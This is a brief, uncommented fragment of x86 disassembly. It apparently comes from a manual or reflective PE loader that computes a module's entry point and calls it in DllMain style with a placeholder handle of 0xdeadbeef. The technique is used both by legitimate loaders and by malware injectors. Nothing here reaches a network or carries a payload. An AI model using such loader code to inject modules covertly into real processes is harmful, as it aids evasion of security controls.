call fcn.1003b015
pop ecx
test eax, eax
jne 0x1003c8f4
xor eax, eax
jmp 0x1003c957
push dword [ebp - 4]
call fcn.10032f79
pop ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x1003c93f
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x1003c91c
xor eax, eax
jmp 0x1003c957
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1003c935
xor eax, eax
jmp 0x1003c957
mov eax, dword [ebp - 4]
mov dword [eax + 0x10], 1
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x1003c950
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x1003c954
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret